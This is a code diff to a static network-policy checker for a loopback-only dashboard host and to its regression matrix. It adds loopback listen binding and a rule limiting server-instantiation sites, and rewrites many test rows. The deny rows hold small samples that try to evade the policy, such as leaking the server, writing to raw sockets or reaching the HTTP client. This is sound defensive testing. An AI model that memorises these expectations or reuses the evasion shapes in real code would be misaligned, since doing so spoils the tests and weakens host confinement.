+ withServer(`server.close();`),
+ withFactory(`createCockpitServer().close();`),
+ withFactory(`http.createServer(${L}).close();`),
+ withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().close();`),
+ `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).close();`,
+ withFactory(`function outer() { return createCockpitServer(); }\nouter().close();`),
+ `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`,
+ REAL_HOST_REPLICA,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.reasons, `${source}\n${describeFindings(result)}`).toEqual([]);
+ expect(result.verdict, source).toBe('ALLOW');
+ }
+ });
+
+ it('is a static source-site bound: runtime call multiplicity of one site is outside the declared boundary', () => {
+ for (const source of [
+ `${NS}\nfunction boot() { http.createServer(${L}).close(); }\nboot();\nboot();`,
+ `${NS}\nfor (let i = 0; i < 2; i += 1) { http.createServer(${L}).close(); }`,
+ ]) {
+ const result = analyzeNetworkPolicy(source);
+ expect(result.fixpoint.state, source).toBe('CONVERGED');
+ expect(result.reasons, source).not.toContain('CREATE_SERVER_MULTIPLE');
+ }
+ });
+
+ it('runs after the fixpoint only: exhaustion still fails closed without a site finding', () => {
+ const result = analyzeNetworkPolicy(`${NS}\nhttp.createServer(${L});\nhttp.createServer(${L});`, { fixpointCeiling: 1 });
+ expect(result.fixpoint.state).toBe('EXHAUSTED');
+ expect(result.reasons).toEqual(['FIXPOINT_EXHAUSTED']);
+ });
+
+ it('is structural: one site count over the collected calls, no new analysis', () => {
+ const detector = readFileSync(detectorPath, 'utf8');
+ expect(occurrences(detector, 'function checkInstantiationSites(')).toBe(1);
+ expect(occurrences(detector, "deny(ctx, 'CREATE_SERVER_MULTIPLE'")).toBe(1);
+ expect(occurrences(detector, 'checkInstantiationSites(ctx)')).toBe(1);
+ expect(occurrences(detector, 'serverFactories')).toBe(0);
+ expect(occurrences(detector, 'serverCount')).toBe(0);
+ });
+});
+
// ---------------------------------------------------------------------------
// Real host
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/purity.test.ts b/tests/cockpit-host/purity.test.ts
index 4a91faf..d2d7b1a 100644
--- a/tests/cockpit-host/purity.test.ts
+++ b/tests/cockpit-host/purity.test.ts
@@ -3371,9 +3371,11 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI
* `./support/d3-network-policy.ts` and is exercised mechanism-by-mechanism in
* `d3-network-policy.test.ts` together with the semantic regression matrix.
* Here it is applied to the real host tree through the same symlink-checked
- * `hostSources()` reader the other host guards use. The host may create exactly
- * one inbound `node:http` server; it may not obtain outbound network, socket,
- * hidden mutable server, or non-allow-listed request/response authority.
+ * `hostSources()` reader the other host guards use. The host source may contain
+ * one server instantiation site, loopback-bound (a statically proven
+ * `listen(, '127.0.0.1'[, callback])`); it may not obtain outbound
+ * network, socket, hidden mutable server, or non-allow-listed request/response
+ * authority. Nothing about runtime server cardinality is claimed.
*/
describe('D3 host network policy (D3-NET)', () => {
it('accepts every real host source under the frozen network policy', () => {
@@ -3415,6 +3417,7 @@ server.listen(4317, '127.0.0.1');
expect(result.verdict).toBe('DENY');
expect(result.reasons).toEqual([
'CREATE_SERVER_ARITY',
+ 'CREATE_SERVER_MULTIPLE',
'FREE_GLOBAL_NETWORK',
'HTTP_CLIENT_CAPABILITY',
'REQUEST_DESTRUCTURING',
diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts
index 2b8b8dc..c93cfe7 100644
--- a/tests/cockpit-host/support/d3-network-policy.ts
+++ b/tests/cockpit-host/support/d3-network-policy.ts
@@ -2,10 +2,12 @@
* Cockpit D3 — network policy for the read-only dashboard host (Stage A).
*
* A static, development-time source policy over ONE TypeScript file at a time.
- * It is not a runtime sandbox. The host may create exactly one inbound HTTP
- * server and must not obtain outbound network capability, socket capability,
- * hidden mutable server capability, or privileged request/response authority
- * beyond the explicitly allow-listed operations.
+ * It is not a runtime sandbox. The source may contain one server instantiation
+ * site, loopback-bound, and must not obtain outbound network capability, socket
+ * capability, hidden mutable server capability, or privileged request/response
+ * authority beyond the explicitly allow-listed operations. Nothing about
+ * runtime server cardinality is claimed: the bound is a static source-site
+ * invariant plus a statically proven `127.0.0.1` listen binding.
*
* Core structural invariant:
*
@@ -67,6 +69,8 @@ export type ReasonCode =
| 'CREATE_SERVER_NEW'
| 'CREATE_SERVER_NOT_CALLED'
| 'CREATE_SERVER_ARITY'
+ | 'CREATE_SERVER_MULTIPLE'
+ | 'SERVER_LISTEN_BINDING'
| 'LISTENER_NOT_FUNCTION'
| 'LISTENER_PARAMETER_PATTERN'
| 'LISTENER_THIS_PARAMETER';
@@ -109,7 +113,12 @@ export const HTTP_MODULE_SPECIFIERS: ReadonlySet = new Set(['node:http',
export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebSocket']);
export const GLOBAL_RECEIVER_NAMES: ReadonlySet = new Set(['globalThis', 'window', 'self', 'global']);
const CREATE_SERVER = 'createServer';
-export const SERVER_METHODS: ReadonlySet = new Set(['listen', 'close']);
+const SERVER_LISTEN = 'listen';
+export const SERVER_METHODS: ReadonlySet = new Set([SERVER_LISTEN, 'close']);
+/** The only host a proven SERVER target may listen on (positive policy; compared through the static-key resolver). */
+export const LOOPBACK_HOST = '127.0.0.1';
+/** Largest decimal port a proven SERVER target may listen on. */
+export const PORT_MAX = 65535;
export const REQUEST_READS: ReadonlySet = new Set(['method', 'url']);
export const RESPONSE_METHODS: ReadonlySet = new Set(['setHeader', 'end']);
const RESPONSE_STATUS = 'statusCode';
@@ -124,6 +133,7 @@ export const POLICY_KEY_NAMES: readonly string[] = [
...REQUEST_READS,
...RESPONSE_METHODS,
RESPONSE_STATUS,
+ LOOPBACK_HOST,
];
/** A folded string longer than this can never be a policy key: NOT_CAPABILITY. */
@@ -1001,6 +1011,24 @@ function memberAllowed(ctx: Context, authority: AuthorityClass, access: MemberAc
}
}
+/**
+ * Loopback listen binding (positive policy, B1): a proven SERVER target may
+ * listen only as `listen(, '127.0.0.1'[, ])` — argument 0 a
+ * static decimal port, argument 1 the loopback host literal, both through THE
+ * static-key resolver; an optional argument 2 that normalizes to a local
+ * function through the listener normalizer; no spread and no further argument.
+ * Every other listen shape is denied. No host or port is named as dangerous.
+ */
+function isLoopbackListen(ctx: Context, call: ts.CallExpression): boolean {
+ const [port, host, callback] = call.arguments;
+ if (call.arguments.length > 3 || port === undefined || host === undefined) return false;
+ if (call.arguments.some((argument) => ts.isSpreadElement(argument))) return false;
+ const portKey = resolveStaticKey(ctx, port);
+ if (portKey.kind !== 'RESOLVED' || !/^\d+$/.test(portKey.value) || Number(portKey.value) > PORT_MAX) return false;
+ if (!isResolvedTo(resolveStaticKey(ctx, host), LOOPBACK_HOST)) return false;
+ return callback === undefined || normalizeListener(ctx, callback) !== null;
+}
+
/** The binding symbol of the function whose own body contains `node`, if that function is a local binding. */
function enclosingFunctionSymbol(ctx: Context, node: ts.Node): ts.Symbol | undefined {
let current: ts.Node = node;
@@ -1050,6 +1078,11 @@ function checkTargetUse(ctx: Context, expression: ts.Expression, classes: Readon
}
if (isMemberAccess(parent) && parent.expression === node) {
if (![...classes].every((authority) => memberAllowed(ctx, authority, parent))) violate('MEMBER');
+ else if (classes.has('SERVER') && isResolvedTo(memberKey(ctx, parent), SERVER_LISTEN)) {
+ // `listen` is allow-listed by `memberAllowed`; its binding is the one further positive check.
+ const call = directCallOf(parent);
+ if (call !== null && !isLoopbackListen(ctx, call)) deny(ctx, 'SERVER_LISTEN_BINDING', call);
+ }
return;
}
if (ts.isExportSpecifier(parent) || ts.isExportAssignment(parent)) {
@@ -1211,6 +1244,40 @@ function checkFreeGlobal(ctx: Context, id: ts.Identifier): void {
else if (GLOBAL_RECEIVER_NAMES.has(id.text)) checkGlobalReceiverUse(ctx, id);
}
+/**
+ * Server-instantiation site bound (static, evidence-bounded, B2): the source
+ * may contain at most one server-instantiation site outside the own body of a
+ * confined factory — a proven createServer call, or a call of a confined
+ * factory whose own body instantiates a server (directly, or through another
+ * instantiating confined factory). A confined factory's internal createServer
+ * is realized by its call sites and is not a site of its own; an
+ * alias-returning factory adds no site. Runs over the already-collected calls
+ * after the fixpoint; nothing about runtime call multiplicity is claimed.
+ */
+function checkInstantiationSites(ctx: Context): void {
+ const memo = new Map();
+ const factoryInstantiates = (factory: ts.Symbol): boolean => {
+ const known = memo.get(factory);
+ if (known !== undefined) return known;
+ memo.set(factory, false);
+ const result = ctx.calls.some((call) => enclosingFunctionSymbol(ctx, call) === factory && instantiates(call));
+ memo.set(factory, result);
+ return result;
+ };
+ const instantiates = (call: ts.CallExpression): boolean => {
+ const callee = unwrap(call.expression);
+ if (isProvenCreateServerCall(ctx, call)) return true;
+ if (!isConfinedFactoryCall(ctx, call)) return false;
+ const factory = valueSymbolOf(ctx.checker, callee);
+ return factory !== undefined && factoryInstantiates(factory);
+ };
+ const sites = ctx.calls.filter((call) => {
+ const owner = enclosingFunctionSymbol(ctx, call);
+ return (owner === undefined || !ctx.confinedFactories.has(owner)) && instantiates(call);
+ });
+ for (const site of sites.slice(1)) deny(ctx, 'CREATE_SERVER_MULTIPLE', site);
+}
+
function classify(ctx: Context): void {
for (const node of ctx.thisExpressions) deny(ctx, 'THIS_EXPRESSION', node);
for (const id of ctx.unboundValueReads) checkFreeGlobal(ctx, id);
@@ -1232,6 +1299,7 @@ function classify(ctx: Context): void {
const classes = classesOf(ctx, call);
if (classes.size > 0) checkTargetUse(ctx, call, classes);
}
+ checkInstantiationSites(ctx);
}
// ---------------------------------------------------------------------------
diff --git a/tests/cockpit-host/support/d3-regression-matrix.ts b/tests/cockpit-host/support/d3-regression-matrix.ts
index 28ae98d..7ca7b70 100644
--- a/tests/cockpit-host/support/d3-regression-matrix.ts
+++ b/tests/cockpit-host/support/d3-regression-matrix.ts
@@ -1,7 +1,7 @@
/**
* Cockpit D3 network policy — semantic regression matrix.
*
- * Data-driven rows grouped into the eighteen frozen semantic categories. Each
+ * Data-driven rows grouped into the twenty frozen semantic categories. Each
* row carries one of three expectations:
*
* MUST_DENY the policy must reject the source; every listed
@@ -36,7 +36,9 @@ export type RegressionCategory =
| 'export confinement'
| 'convergence/exhaustion'
| 'extra parameter false positives'
- | 'real host acceptance';
+ | 'real host acceptance'
+ | 'loopback listen binding'
+ | 'server instantiation site bound';
export const REGRESSION_CATEGORIES: readonly RegressionCategory[] = [
'free-global identity',
@@ -57,6 +59,8 @@ export const REGRESSION_CATEGORIES: readonly RegressionCategory[] = [
'convergence/exhaustion',
'extra parameter false positives',
'real host acceptance',
+ 'loopback listen binding',
+ 'server instantiation site bound',
];
export type Expectation = 'MUST_DENY' | 'MUST_ALLOW' | 'OUTSIDE_DECLARED_BOUNDARY';
@@ -401,7 +405,7 @@ const STATIC_KEYS: readonly RegressionRow[] = [
allow('static/computed keys', 'scope-sensitive inner const resolves', `${NS}\nconst K = 'request';\n{\n const K = 'createServer';\n http[K](${L});\n}`),
allow('static/computed keys', 'request static element key', inListener(`request['url'];\nrequest['met' + 'hod'];`)),
allow('static/computed keys', 'response static element key', inListener(`response['statusCode'] = 200;\nresponse['end']();`)),
- allow('static/computed keys', 'server static element key', withServer(`server['listen'](1);`)),
+ allow('static/computed keys', 'server static element key', withServer(`server['listen'](4317, '127.0.0.1');`)),
deny('static/computed keys', 'outer const resolves to client key', `${NS}\nconst K = 'request';\n{\n const K = 'createServer';\n}\nhttp[K]('x');`, ['HTTP_CLIENT_CAPABILITY']),
deny('static/computed keys', 'let key is indeterminate', `${NS}\nlet K = 'createServer';\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
deny('static/computed keys', 'written const key is indeterminate', `${NS}\nconst K = 'createServer';\n(K as any) = 'x';\nhttp[K](${L});`, ['HTTP_NAMESPACE_RUNTIME_KEY']),
@@ -461,26 +465,26 @@ const SOCKET: readonly RegressionRow[] = [
deny('socket acquisition through proven target policy', 'server.listen read without call', withServer(`const l = server.listen;`), ['SERVER_MEMBER']),
deny('socket acquisition through proven target policy', 'server.listen.call nested chain', withServer(`server.listen.call(server, 1);`), ['SERVER_MEMBER', 'SERVER_ESCAPE']),
deny('socket acquisition through proven target policy', 'server.close.bind', withServer(`const c = server.close.bind(server);`), ['SERVER_MEMBER', 'SERVER_ESCAPE']),
- deny('socket acquisition through proven target policy', 'optional-chained listen', withServer(`server?.listen(1);`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'optional-chained listen', withServer(`server?.listen(4317, '127.0.0.1');`), ['SERVER_MEMBER']),
deny('socket acquisition through proven target policy', 'server.connections', withServer(`server.connections;`), ['SERVER_MEMBER']),
allow('socket acquisition through proven target policy', 'listen with callback', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)),
allow('socket acquisition through proven target policy', 'close', withServer(`server.close();`)),
allow('socket acquisition through proven target policy', 'request.method and request.url', inListener(`const m = request.method ?? '';\nconst u = request.url;\nm + u;`)),
allow('socket acquisition through proven target policy', 'response setHeader/end/statusCode', inListener(`response.statusCode = 404;\nresponse.setHeader('a', 'b');\nresponse.end('x');`)),
// PR #67 F2: the result of a direct non-optional allowed member call retains the receiver's authority.
- deny('socket acquisition through proven target policy', 'listen result subscribes to connection (PR #67 F2)', withServer(`server.listen(1).on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'listen result subscribes to connection (PR #67 F2)', withServer(`server.listen(4317, '127.0.0.1').on('connection', (socket) => { socket.write('x'); });`), ['SERVER_MEMBER']),
deny('socket acquisition through proven target policy', 'close result subscribes', withServer(`server.close().on('close', () => {});`), ['SERVER_MEMBER']),
- deny('socket acquisition through proven target policy', 'listen result address', withServer(`server.listen(1).address();`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'listen result address', withServer(`server.listen(4317, '127.0.0.1').address();`), ['SERVER_MEMBER']),
deny('socket acquisition through proven target policy', 'setHeader result socket', inListener(`response.setHeader('a', 'b').socket;`), ['RESPONSE_MEMBER']),
deny('socket acquisition through proven target policy', 'end result socket', inListener(`response.end('x').socket;`), ['RESPONSE_MEMBER']),
deny('socket acquisition through proven target policy', 'end result socket through wrapper', inListener(`(response.end('x') as any).socket.write('x');`), ['RESPONSE_MEMBER']),
deny('socket acquisition through proven target policy', 'setHeader result write', inListener(`response.setHeader('a', 'b').write('x');`), ['RESPONSE_MEMBER']),
- deny('socket acquisition through proven target policy', 'static element key call result', withServer(`server['listen'](1)['on']('x', () => {});`), ['SERVER_MEMBER']),
- deny('socket acquisition through proven target policy', 'listen result destructured', withServer(`const { on } = server.listen(1);`), ['SERVER_DESTRUCTURING']),
- allow('socket acquisition through proven target policy', 'listen result close chain', withServer(`server.listen(1).close();`)),
+ deny('socket acquisition through proven target policy', 'static element key call result', withServer(`server['listen'](4317, '127.0.0.1')['on']('x', () => {});`), ['SERVER_MEMBER']),
+ deny('socket acquisition through proven target policy', 'listen result destructured', withServer(`const { on } = server.listen(4317, '127.0.0.1');`), ['SERVER_DESTRUCTURING']),
+ allow('socket acquisition through proven target policy', 'listen result close chain', withServer(`server.listen(4317, '127.0.0.1').close();`)),
allow('socket acquisition through proven target policy', 'setHeader result end chain', inListener(`response.setHeader('a', 'b').end('x');`)),
- allow('socket acquisition through proven target policy', 'listen result as void operand', withServer(`void server.listen(1);`)),
- allow('socket acquisition through proven target policy', 'chained allowed calls of arbitrary length', withServer(`server.listen(1).close().listen(2).close();`)),
+ allow('socket acquisition through proven target policy', 'listen result as void operand', withServer(`void server.listen(4317, '127.0.0.1');`)),
+ allow('socket acquisition through proven target policy', 'chained allowed calls of arbitrary length', withServer(`server.listen(4317, '127.0.0.1').close().listen(4317, '127.0.0.1').close();`)),
];
// ---------------------------------------------------------------------------
@@ -506,7 +510,7 @@ const RUNTIME_KEYS: readonly RegressionRow[] = [
// ---------------------------------------------------------------------------
const ALIAS: readonly RegressionRow[] = [
- allow('alias propagation', 'const alias chain of server', withServer(`const a = server;\nconst b = a;\nb.listen(1);`)),
+ allow('alias propagation', 'const alias chain of server', withServer(`const a = server;\nconst b = a;\nb.listen(4317, '127.0.0.1');`)),
allow('alias propagation', 'wrapped alias', withServer(`const a = (server as http.Server)!;\na.close();`)),
allow('alias propagation', 'alias of request and response in listener', inListener(`const q = request;\nconst s = response;\nq.url;\ns.end();`)),
allow('alias propagation', 'alias used as statement, void, typeof', withServer(`const a = server;\na;\nvoid a;\ntypeof a;`)),
@@ -527,13 +531,13 @@ const ALIAS: readonly RegressionRow[] = [
deny('alias propagation', 'alias then non-allowed member', inListener(`const q = request;\nq.socket;`), ['REQUEST_MEMBER']),
deny('alias propagation', 'ambient const alias', withServer(`declare const a: typeof server;\nconst b = server;\nb.on('x', () => {});`), ['SERVER_MEMBER']),
// PR #67 F2: a const alias of an allowed member call result carries the receiver's authority.
- deny('alias propagation', 'const alias of listen result then escape (PR #67 F2)', withServer(`const leaked = server.listen(1);\nuse(leaked);`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'const alias of listen result then escape (PR #67 F2)', withServer(`const leaked = server.listen(4317, '127.0.0.1');\nuse(leaked);`), ['SERVER_ESCAPE']),
deny('alias propagation', 'const alias of setHeader result then escape', inListener(`const r2 = response.setHeader('a', 'b');\nuse(r2);`), ['RESPONSE_ESCAPE']),
deny('alias propagation', 'const alias of end result then socket', inListener(`const r2 = response.end('x');\nr2.socket;`), ['RESPONSE_MEMBER']),
- deny('alias propagation', 'alias chain through allowed call results', withServer(`const a = server.listen(1);\nconst b = a.close();\nb.on('x', () => {});`), ['SERVER_MEMBER']),
- deny('alias propagation', 'PARAM-derived call result alias escapes', withServer(`function setup(s: http.Server) { const t = s.listen(1); use(t); }\nsetup(server);`), ['SERVER_ESCAPE']),
- deny('alias propagation', 'let binding of listen result', withServer(`let started = server.listen(1);`), ['SERVER_MUTABLE_BINDING']),
- allow('alias propagation', 'const alias of listen result used within policy', withServer(`const started = server.listen(1);\nstarted.close();`)),
+ deny('alias propagation', 'alias chain through allowed call results', withServer(`const a = server.listen(4317, '127.0.0.1');\nconst b = a.close();\nb.on('x', () => {});`), ['SERVER_MEMBER']),
+ deny('alias propagation', 'PARAM-derived call result alias escapes', withServer(`function setup(s: http.Server) { const t = s.listen(4317, '127.0.0.1'); use(t); }\nsetup(server);`), ['SERVER_ESCAPE']),
+ deny('alias propagation', 'let binding of listen result', withServer(`let started = server.listen(4317, '127.0.0.1');`), ['SERVER_MUTABLE_BINDING']),
+ allow('alias propagation', 'const alias of listen result used within policy', withServer(`const started = server.listen(4317, '127.0.0.1');\nstarted.close();`)),
];
// ---------------------------------------------------------------------------
@@ -566,8 +570,8 @@ const LOCAL_PROPAGATION: readonly RegressionRow[] = [
'parameter with default initializer',
`${NS}\ndeclare const fallback: http.ServerResponse;\nfunction a(res: http.ServerResponse = fallback) { res.end(); }\nhttp.createServer((request, response) => { a(response); });`,
),
- allow('local function propagation', 'server passed to eligible local setup', withServer(`function setup(s: http.Server) { s.listen(1); }\nsetup(server);`)),
- allow('local function propagation', 'createServer result passed directly to eligible callee', `${NS}\nfunction setup(s: http.Server) { s.listen(1); }\nsetup(http.createServer(${L}));`),
+ allow('local function propagation', 'server passed to eligible local setup', withServer(`function setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(server);`)),
+ allow('local function propagation', 'createServer result passed directly to eligible callee', `${NS}\nfunction setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(http.createServer(${L}));`),
allow(
'local function propagation',
'mutually recursive propagation converges',
@@ -811,16 +815,16 @@ const OPTIONS: readonly RegressionRow[] = [
// ---------------------------------------------------------------------------
const FACTORY: readonly RegressionRow[] = [
- allow('factory confinement', 'real exported factory and const consumer', withFactory(`const server = createCockpitServer();\nserver.listen(1);`)),
- allow('factory confinement', 'const arrow factory', `${NS}\nconst make = () => http.createServer(${L});\nconst server = make();\nserver.listen(1);`),
- allow('factory confinement', 'const function-expression factory', `${NS}\nconst make = function () { return http.createServer(${L}); };\nmake().listen(1);`),
- allow('factory confinement', 'factory returning another factory', withFactory(`function outer() { return createCockpitServer(); }\nouter().listen(1);`)),
+ allow('factory confinement', 'real exported factory and const consumer', withFactory(`const server = createCockpitServer();\nserver.listen(4317, '127.0.0.1');`)),
+ allow('factory confinement', 'const arrow factory', `${NS}\nconst make = () => http.createServer(${L});\nconst server = make();\nserver.listen(4317, '127.0.0.1');`),
+ allow('factory confinement', 'const function-expression factory', `${NS}\nconst make = function () { return http.createServer(${L}); };\nmake().listen(4317, '127.0.0.1');`),
+ allow('factory confinement', 'factory returning another factory', withFactory(`function outer() { return createCockpitServer(); }\nouter().listen(4317, '127.0.0.1');`)),
allow('factory confinement', 'factory returning a rooted const alias', withServer(`function get() { return server; }\nget().close();`)),
- allow('factory confinement', 'multiple SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).listen(1);`),
- allow('factory confinement', 'export default function factory', `${NS}\nexport default function make() { return http.createServer(${L}); }\nmake().listen(1);`),
+ allow('factory confinement', 'multiple SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return http.createServer(${L}); }\nmake(true).listen(4317, '127.0.0.1');`),
+ allow('factory confinement', 'export default function factory', `${NS}\nexport default function make() { return http.createServer(${L}); }\nmake().listen(4317, '127.0.0.1');`),
allow('factory confinement', 'factory exported by specifier', `${NS}\nfunction make() { return http.createServer(${L}); }\nexport { make };`),
allow('factory confinement', 'factory referenced by typeof', `${NS}\nfunction make() { return http.createServer(${L}); }\nconst t = typeof make;\nt;`),
- allow('factory confinement', 'factory with parameters', `${NS}\nfunction make(port: number) { const s = http.createServer(${L}); s.listen(port); return s; }\nmake(1);`),
+ allow('factory confinement', 'factory with parameters', `${NS}\nfunction make(label: string) { const s = http.createServer(${L}); s.listen(4317, '127.0.0.1'); console.log(label); return s; }\nmake('x');`),
deny('factory confinement', 'mixed SERVER/non-SERVER returns', `${NS}\nfunction make(x: boolean) { if (x) { return http.createServer(${L}); } return null; }\nmake(true);`, ['SERVER_UNCONFINED_RETURN'], {
closes: ['F-6'],
}),
@@ -862,11 +866,11 @@ const RESULT: readonly RegressionRow[] = [
allow('result confinement', 'expression statement', `${NS}\nhttp.createServer(${L});`),
allow('result confinement', 'void operand', `${NS}\nvoid http.createServer(${L});`),
allow('result confinement', 'typeof operand', `${NS}\ntypeof http.createServer(${L});`),
- allow('result confinement', 'direct listen', `${NS}\nhttp.createServer(${L}).listen(1);`),
+ allow('result confinement', 'direct listen', `${NS}\nhttp.createServer(${L}).listen(4317, '127.0.0.1');`),
allow('result confinement', 'direct close', `${NS}\nhttp.createServer(${L}).close();`),
allow('result confinement', 'confined const initializer', `${NS}\nconst server = http.createServer(${L});`),
allow('result confinement', 'confined factory return', `${NS}\nfunction make() { return http.createServer(${L}); }`),
- allow('result confinement', 'approved propagation', `${NS}\nfunction setup(s: http.Server) { s.listen(1); }\nsetup(http.createServer(${L}));`),
+ allow('result confinement', 'approved propagation', `${NS}\nfunction setup(s: http.Server) { s.listen(4317, '127.0.0.1'); }\nsetup(http.createServer(${L}));`),
deny('result confinement', 'let binding', `${NS}\nlet s = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']),
deny('result confinement', 'var binding', `${NS}\nvar s = http.createServer(${L});`, ['SERVER_MUTABLE_BINDING']),
deny('result confinement', 'array element', `${NS}\nconst a = [http.createServer(${L})];`, ['SERVER_ESCAPE']),
@@ -884,20 +888,20 @@ const RESULT: readonly RegressionRow[] = [
deny('result confinement', 'direct exported const', `${NS}\nexport const s = http.createServer(${L});`, ['SERVER_EXPORT']),
deny('result confinement', 'non-allowed member on result', `${NS}\nhttp.createServer(${L}).on('x', () => {});`, ['SERVER_MEMBER']),
deny('result confinement', 'member read without call on result', `${NS}\nconst l = http.createServer(${L}).listen;`, ['SERVER_MEMBER']),
- deny('result confinement', 'optional-chained member on result', `${NS}\nhttp.createServer(${L})?.listen(1);`, ['SERVER_MEMBER']),
+ deny('result confinement', 'optional-chained member on result', `${NS}\nhttp.createServer(${L})?.listen(4317, '127.0.0.1');`, ['SERVER_MEMBER']),
deny('result confinement', 'spread of result', `${NS}\nuse(...(http.createServer(${L}) as any));`, ['SERVER_ESCAPE']),
deny('result confinement', 'result in a nullish expression', `${NS}\nconst s = http.createServer(${L}) ?? null;`, ['SERVER_ESCAPE']),
deny('result confinement', 'result in an equality test', `${NS}\nif (http.createServer(${L}) === null) {}`, ['SERVER_ESCAPE']),
deny('result confinement', 'result as heritage expression', `${NS}\nclass Sub extends (http.createServer(${L}) as any) {}`, ['SERVER_ESCAPE']),
// PR #67 F2: allowed member call results are confined exactly like the values they were called on.
- deny('result confinement', 'listen result as call argument (PR #67 F2)', withServer(`use(server.listen(1));`), ['SERVER_ESCAPE']),
- deny('result confinement', 'createServer result listen chain non-allowed member', `${NS}\nhttp.createServer(${L}).listen(1).on('x', () => {});`, ['SERVER_MEMBER']),
- deny('result confinement', 'listen result in container', withServer(`const a = [server.listen(1)];`), ['SERVER_ESCAPE']),
- deny('result confinement', 'listen result returned from an unconfined function', withServer(`function start() { return server.listen(1); }`), ['SERVER_UNCONFINED_RETURN']),
+ deny('result confinement', 'listen result as call argument (PR #67 F2)', withServer(`use(server.listen(4317, '127.0.0.1'));`), ['SERVER_ESCAPE']),
+ deny('result confinement', 'createServer result listen chain non-allowed member', `${NS}\nhttp.createServer(${L}).listen(4317, '127.0.0.1').on('x', () => {});`, ['SERVER_MEMBER']),
+ deny('result confinement', 'listen result in container', withServer(`const a = [server.listen(4317, '127.0.0.1')];`), ['SERVER_ESCAPE']),
+ deny('result confinement', 'listen result returned from an unconfined function', withServer(`function start() { return server.listen(4317, '127.0.0.1'); }`), ['SERVER_UNCONFINED_RETURN']),
deny('result confinement', 'end result returned from an arrow body', inListener(`const send = () => response.end('x');`), ['RESPONSE_UNCONFINED_RETURN']),
- deny('result confinement', 'listen result assigned', withServer(`let s;\ns = server.listen(1);`), ['SERVER_ESCAPE']),
- deny('result confinement', 'listen result propagated then misused', withServer(`function setup(s: http.Server) { s.on('x', () => {}); }\nsetup(server.listen(1));`), ['SERVER_MEMBER']),
- allow('result confinement', 'listen result passed to an eligible local callee', withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(1));`)),
+ deny('result confinement', 'listen result assigned', withServer(`let s;\ns = server.listen(4317, '127.0.0.1');`), ['SERVER_ESCAPE']),
+ deny('result confinement', 'listen result propagated then misused', withServer(`function setup(s: http.Server) { s.on('x', () => {}); }\nsetup(server.listen(4317, '127.0.0.1'));`), ['SERVER_MEMBER']),
+ allow('result confinement', 'listen result passed to an eligible local callee', withServer(`function setup(s: http.Server) { s.close(); }\nsetup(server.listen(4317, '127.0.0.1'));`)),
allow('result confinement', 'listen result as expression statement', withServer(`server.listen(4317, '127.0.0.1', () => { console.log('up'); });`)),
];
@@ -918,8 +922,8 @@ const EXPORT: readonly RegressionRow[] = [
deny('export confinement', 'exported const alias of server', withServer(`export const alias = server;`), ['SERVER_EXPORT'], { closes: ['F-7'] }),
// PR #67 F2: exporting an allowed member call result exports the receiver's authority.
deny('export confinement', 'export const leaked = server.listen(...) (PR #67 F2)', withServer(`export const leaked = server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']),
- deny('export confinement', 'export default server.listen(...)', withServer(`export default server.listen(1);`), ['SERVER_EXPORT']),
- deny('export confinement', 'export of a const alias of a listen result', withServer(`const leaked = server.listen(1);\nexport { leaked };`), ['SERVER_EXPORT']),
+ deny('export confinement', 'export default server.listen(...)', withServer(`export default server.listen(4317, '127.0.0.1');`), ['SERVER_EXPORT']),
+ deny('export confinement', 'export of a const alias of a listen result', withServer(`const leaked = server.listen(4317, '127.0.0.1');\nexport { leaked };`), ['SERVER_EXPORT']),
allow('export confinement', 'export function factory', withFactory(``)),
allow('export confinement', 'export { factory }', `${NS}\nfunction createCockpitServer() { return http.createServer(${L}); }\nexport { createCockpitServer };`),
allow('export confinement', 'export default function factory', `${NS}\nexport default function createCockpitServer() { return http.createServer(${L}); }`),
@@ -936,9 +940,9 @@ const FIXPOINT: readonly RegressionRow[] = [
allow('convergence/exhaustion', 'reverse propagation chain converges under the default ceiling', reverseChain(6)),
deny('convergence/exhaustion', 'reverse propagation chain exhausts a low ceiling', reverseChain(6), ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 2 } }),
deny('convergence/exhaustion', 'exhaustion denies even an otherwise-allowed real host shape', REAL_HOST_SHAPE, ['FIXPOINT_EXHAUSTED'], { options: { fixpointCeiling: 1 } }),
- allow('convergence/exhaustion', 'recursive alias/factory cycle converges', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().listen(1);`)),
+ allow('convergence/exhaustion', 'recursive alias/factory cycle converges', withServer(`function get() { return server; }\nfunction again() { return get(); }\nagain().close();\nget().listen(4317, '127.0.0.1');`)),
allow('convergence/exhaustion', 'empty file converges', ``),
- allow('convergence/exhaustion', 'alias chain through allowed call results converges', withServer(`const a = server.listen(1);\nconst b = a.close();\nb.close();`)),
+ allow('convergence/exhaustion', 'alias chain through allowed call results converges', withServer(`const a = server.listen(4317, '127.0.0.1');\nconst b = a.close();\nb.close();`)),
];
// ---------------------------------------------------------------------------
@@ -983,6 +987,93 @@ const REAL_HOST: readonly RegressionRow[] = [
